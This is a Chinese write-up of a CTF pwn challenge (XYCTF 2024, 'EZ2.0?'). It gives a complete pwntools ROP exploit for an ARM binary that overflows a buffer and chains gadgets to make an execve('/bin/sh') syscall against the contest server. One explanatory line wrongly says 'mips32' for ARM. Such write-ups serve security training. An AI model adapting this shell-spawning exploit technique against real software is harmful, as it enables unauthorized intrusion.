[XYCTF新生赛2024]-PWN:EZ2.0?(arm架构,arm架构下的系统调用)

查看保护

查看ida

完整exp:

复制代码
from pwn import*

p=process('./arm')
p=remote('gz.imxbt.cn',20082)
svc=0x0001c58c
mov_r2_r4_blx_r3=0x00043224
pop_r7=0x00027d78
pop_r4=0x000104e0
pop_r3=0x00010160
pop_r1=0x0005f824
pop_r0=0x0005f73c
sh=0x0008A090

payload=b'a'*0x44
payload+=p32(pop_r0)+p32(sh)
payload+=p32(pop_r1)+p32(0)
payload+=p32(pop_r3)+p32(svc)
payload+=p32(pop_r4)+p32(0)
payload+=p32(pop_r7)+p32(0xB)
payload+=p32(mov_r2_r4_blx_r3)

p.send(payload)

p.interactive()

因为是arm架构,所以我们要覆盖LR寄存器控制返回地址,对于mips32架构,R0~R3寄存器负责传参,R7寄存器传递系统调用号。这里覆盖R3为SVC是因为后面有跳转R3的指令,覆盖R4是为了后面把R2寄存器覆盖为0。

相关推荐
2601_962364979 小时前
Windows Hello VS 传统密码:身份认证安全层级全面对比分析
windows·安全·电脑
2601_9571746514 小时前
零基础学网络安全能学好吗
安全·web安全
aaPIXa62214 小时前
C++ 用 13 条规则让模型写出安全现代 C++
java·c++·安全
m0_7381207216 小时前
PHP代码审计基础——超全局变量(三)
开发语言·安全·网络安全·php
是摆烂第一名呀17 小时前
【rk3506】U-Boot串口时钟未配置,导致串口彻底失效
linux·arm开发·驱动开发·嵌入式硬件
m0_7381207218 小时前
PHP代码审计基础——面向对象(四)
android·开发语言·网络·安全·github·php
带娃的IT创业者19 小时前
监控并非安全:当隐私成为技术的祭品
java·开发语言·安全·数据安全·监控·隐私保护·加密技术
MartinYeung520 小时前
[论文学习]LLM-based AI Agent 安全威胁与防御系统性综述
人工智能·学习·安全
不会C语言的男孩21 小时前
TCP通信可视化工具,含下载地址
服务器·网络·安全
2601_9498163521 小时前
C++内存对齐与结构体填充深度精讲:底层规则、内存裁剪、适配优化与工程避坑
开发语言·arm开发·c++